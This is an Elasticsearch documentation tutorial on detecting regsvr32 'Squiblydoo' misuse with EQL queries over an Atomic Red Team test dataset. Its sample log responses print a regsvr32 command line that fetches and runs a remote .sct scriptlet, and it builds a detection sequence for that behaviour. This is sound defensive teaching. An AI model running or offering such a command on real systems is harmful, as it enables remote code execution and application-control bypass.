elasticsearch/docs/reference/eql/detect-threats-with-eql.asciidoc

[role="xpack"]
[testenv="basic"]
[[eql-ex-threat-detection]]
== Example: Detect threats with EQL

experimental::[]

This example tutorial shows you how you can use EQL to detect security threats
and other suspicious behavior.

In the scenario, you're tasked with detecting
https://attack.mitre.org/techniques/T1218/010/[`regsvr32` misuse] in Windows event
logs. `regsvr32` misuse is a known adversary technique documented in the
https://attack.mitre.org[MITRE ATT&CK®] knowledge base.

[discrete]
[[eql-ex-threat-detection-setup]]
=== Setup

This tutorial uses a test dataset for `regsvr32` misuse from
https://github.com/redcanaryco/atomic-red-team[Atomic Red Team]. The dataset has
been normalized and mapped to use fields from the {ecs-ref}[Elastic Common
Schema (ECS)], including the `@timestamp` and `event.category` fields. The
dataset includes events that imitate behaviors related to `regsvr32` misuse, as
documented by MITRE ATT&CK®.

To get started, download and index the dataset:

. Download the https://raw.githubusercontent.com/elastic/elasticsearch/{branch}/docs/src/test/resources/normalized-T1117-AtomicRed-regsvr32.json[`normalized-T1117-AtomicRed-regsvr32.json`] dataset.

. Index the data into `my-index-000001` with the following <<docs-bulk,bulk
API>> request:
+
[source,sh]
----
curl -H "Content-Type: application/json" -XPOST "localhost:9200/my-index-000001/_bulk?pretty&refresh" --data-binary "@normalized-T1117-AtomicRed-regsvr32.json"
----
// NOTCONSOLE

. Use the <<cat-indices,cat indices API>> to verify the data was successfully
indexed.
+
[source,console]
----
GET /_cat/indices/my-index-000001?v&h=health,status,index,docs.count
----
// TEST[setup:atomic_red_regsvr32]
+
The API response should show a `docs.count` value of `150`, indicating 150
documents were indexed.
+
[source,txt]
----
health status index            docs.count
yellow open   my-index-000001         150
----
// TESTRESPONSE[non_json]

[discrete]
[[eql-ex-get-a-count-of-regsvr32-events]]
=== Get a count of `regsvr32` events

Since you're looking for `regsvr32` misuse, start by getting a count of any
events associated with a `regsvr32.exe` process.

The following <<eql-search-api,EQL search API>> request uses an EQL query to
retrieve a count of events with a `process.name` of `regsvr32.exe`. The query
starts with the <<eql-syntax-match-any-event-category,`any where` keywords>>,
meaning the query can match events of any <<eql-required-fields,event
category>>.

[source,console]
----
GET /my-index-000001/_eql/search?filter_path=-hits.events   <1>
{
  "query": """
    any where process.name == "regsvr32.exe"                <2>
  """,
  "size": 200                                               <3>
}
----
// TEST[setup:atomic_red_regsvr32]

<1> Uses the `?filter_path=-hits.events` query parameter to exclude the
`hits.events` property from the response. The `hits.events` property contains
the document source for any matching events. This request is intended to
retrieve a count of events only.
<2> Uses an EQL query to match events with a `process.name` of `regsvr32.exe`.
<3> Returns up to 200 events or sequences matching the EQL query.

The request returns the following response, indicating that 143 events match the
query.

[source,console-result]
----
{
  "is_partial": false,
  "is_running": false,
  "took": 60,
  "timed_out": false,
  "hits": {
    "total": {
      "value": 143,
      "relation": "eq"
    }
  }
}
----
// TESTRESPONSE[s/"took": 60/"took": $body.took/]

[discrete]
[[eql-ex-check-for-command-line-artifacts]]
=== Check for command line artifacts

Based on your previous query, you know `regsvr32` processes were associated with
143 events. But how was `regsvr32.exe` first called? And who called it?

`regsvr32` is a command-line utility so it may help to narrow your results to
processes where the command line was used.

Update the previous EQL query as follows:

* Change the `any` keyword to `process`. This limits matches to events with an
`event.category` of `process`.
* Add the `and process.command_line.keyword != null` condition to match only
events with a command line value.

You'll also need to remove the `filter_path=-hits.events` query parameter. This
lets you retrieve the document source for any matching events.

[source,console]
----
GET /my-index-000001/_eql/search
{
  "query": """
    process where process.name == "regsvr32.exe" and process.command_line.keyword != null
  """
}
----
// TEST[setup:atomic_red_regsvr32]

The query matches one process event. The event has an `event.type` of
`creation`, indicating the start of a `regsvr32.exe` process.

Based on the `process.command_line` value in the response, `regsvr32.exe` used
`scrobj.dll` to register a script, `RegSvr32.sct`. This fits the behavior of a
https://attack.mitre.org/techniques/T1218/010/["Squiblydoo" attack], a known
variant of `regsvr32` misuse.

The response also includes other valuable information about how the
`regsvr32.exe` process started, such as the `@timestamp`, the associated
`user.id`, and the `process.parent.name`.

[source,console-result]
----
{
  "is_partial": false,
  "is_running": false,
  "took": 21,
  "timed_out": false,
  "hits": {
    "total": {
      "value": 1,
      "relation": "eq"
    },
    "events": [
      {
        "_index": "my-index-000001",
        "_id": "gl5MJXMBMk1dGnErnBW8",
        "_source": {
          "process": {
            "parent": {
              "name": "cmd.exe",
              "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
              "executable": "C:\\Windows\\System32\\cmd.exe"
            },
            "name": "regsvr32.exe",
            "pid": 2012,
            "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
            "command_line": "regsvr32.exe  /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
            "executable": "C:\\Windows\\System32\\regsvr32.exe",
            "ppid": 2652
          },
          "logon_id": 217055,
          "@timestamp": 131883573237130000,
          "event": {
            "category": "process",
            "type": "creation"
          },
          "user": {
            "full_name": "bob",
            "domain": "ART-DESKTOP",
            "id": "ART-DESKTOP\\bob"
          }
        }
      }
    ]
  }
}
----
// TESTRESPONSE[s/"took": 21/"took": $body.took/]
// TESTRESPONSE[s/"_id": "gl5MJXMBMk1dGnErnBW8"/"_id": $body.hits.events.0._id/]

[discrete]
[[eql-ex-check-for-malicious-script-loads]]
=== Check for malicious script loads

You now know that a `regsvr32.exe` process was used to register a potentially
malicious script, `RegSvr32.sct`. Next, see if `regsvr32.exe` later loads the
`scrob.dll` library.

Modify the previous EQL query as follows:

* Change the `process` keyword to `library`.
* Replace the `process.command_line.keyword != null` condition with
`dll.name == "scrobj.dll`.

[source,console]
----
GET /my-index-000001/_eql/search
{
  "query": """
    library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll"
  """
}
----
// TEST[setup:atomic_red_regsvr32]

The query matches an event, confirming `scrobj.dll` was later loaded by
`regsvr32.exe`.

[source,console-result]
----
{
  "is_partial": false,
  "is_running": false,
  "took": 5,
  "timed_out": false,
  "hits": {
    "total": {
      "value": 1,
      "relation": "eq"
    },
    "events": [
      {
        "_index": "my-index-000001",
        "_id": "ol5MJXMBMk1dGnErnBW8",
        "_source": {
          "process": {
            "name": "regsvr32.exe",
            "pid": 2012,
            "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
            "executable": "C:\\Windows\\System32\\regsvr32.exe"
          },
          "@timestamp": 131883573237450016,
          "dll": {
            "path": "C:\\Windows\\System32\\scrobj.dll",
            "name": "scrobj.dll"
          },
          "event": {
            "category": "library"
          }
        }
      }
    ]
  }
}
----
// TESTRESPONSE[s/"took": 5/"took": $body.took/]
// TESTRESPONSE[s/"_id": "ol5MJXMBMk1dGnErnBW8"/"_id": $body.hits.events.0._id/]

[discrete]
[[eql-ex-detemine-likelihood-of-sucess]]
=== Determine likelihood of success

In many cases, malicious scripts are used to connect to remote servers or
download other files. If this occurred, the attack might have succeeded.

Use an <<eql-sequences,EQL sequence query>> to check for the following series of
events, in order:

. A `regsvr32.exe` process, which could have been used to register malicious
scripts as `scrobj.dll`
. A load of the `scrobj.dll` library by the same process
. Any network event by the same process, which could indicate the download of a
remote file

To match, each event in the sequence must share the same process ID, recorded in
the `process.pid` field.

Based on the command line value seen in the previous result, you can expect to
find a match. However, the sequence query isn't designed for that specific
command. Instead, it looks for a pattern of suspicious behavior while still
being generic enough to detect similar threats in the future.

[source,console]
----
GET /my-index-000001/_eql/search
{
  "query": """
    sequence by process.pid
      [process where process.name == 'regsvr32.exe']
      [library where dll.name == 'scrobj.dll']
      [network where true]
  """
}
----
// TEST[setup:atomic_red_regsvr32]

The query matches a sequence, indicating the attack likely succeeded.

[source,console-result]
----
{
  "is_partial": false,
  "is_running": false,
  "took": 25,
  "timed_out": false,
  "hits": {
    "total": {
      "value": 1,
      "relation": "eq"
    },
    "sequences": [
      {
        "join_keys": [
          2012
        ],
        "events": [
          {
            "_index": "my-index-000001",
            "_id": "gl5MJXMBMk1dGnErnBW8",
            "_source": {
              "process": {
                "parent": {
                  "name": "cmd.exe",
                  "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
                  "executable": "C:\\Windows\\System32\\cmd.exe"
                },
                "name": "regsvr32.exe",
                "pid": 2012,
                "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
                "command_line": "regsvr32.exe  /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
                "executable": "C:\\Windows\\System32\\regsvr32.exe",
                "ppid": 2652
              },
              "logon_id": 217055,
              "@timestamp": 131883573237130000,
              "event": {
                "category": "process",
                "type": "creation"
              },
              "user": {
                "full_name": "bob",
                "domain": "ART-DESKTOP",
                "id": "ART-DESKTOP\\bob"
              }
            }
          },
          {
            "_index": "my-index-000001",
            "_id": "ol5MJXMBMk1dGnErnBW8",
            "_source": {
              "process": {
                "name": "regsvr32.exe",
                "pid": 2012,
                "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
                "executable": "C:\\Windows\\System32\\regsvr32.exe"
              },
              "@timestamp": 131883573237450016,
              "dll": {
                "path": "C:\\Windows\\System32\\scrobj.dll",
                "name": "scrobj.dll"
              },
              "event": {
                "category": "library"
              }
            }
          },
          {
            "_index": "my-index-000001",
            "_id": "EF5MJXMBMk1dGnErnBa9",
            "_source": {
              "process": {
                "name": "regsvr32.exe",
                "pid": 2012,
                "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
                "executable": "C:\\Windows\\System32\\regsvr32.exe"
              },
              "@timestamp": 131883573238680000,
              "destination": {
                "address": "151.101.48.133",
                "port": "443"
              },
              "source": {
                "address": "192.168.162.134",
                "port": "50505"
              },
              "event": {
                "category": "network"
              },
              "user": {
                "full_name": "bob",
                "domain": "ART-DESKTOP",
                "id": "ART-DESKTOP\\bob"
              },
              "network": {
                "protocol": "tcp",
                "direction": "outbound"
              }
            }
          }
        ]
      }
    ]
  }
}
----
// TESTRESPONSE[s/"took": 25/"took": $body.took/]
// TESTRESPONSE[s/"_id": "gl5MJXMBMk1dGnErnBW8"/"_id": $body.hits.sequences.0.events.0._id/]
// TESTRESPONSE[s/"_id": "ol5MJXMBMk1dGnErnBW8"/"_id": $body.hits.sequences.0.events.1._id/]
// TESTRESPONSE[s/"_id": "EF5MJXMBMk1dGnErnBa9"/"_id": $body.hits.sequences.0.events.2._id/]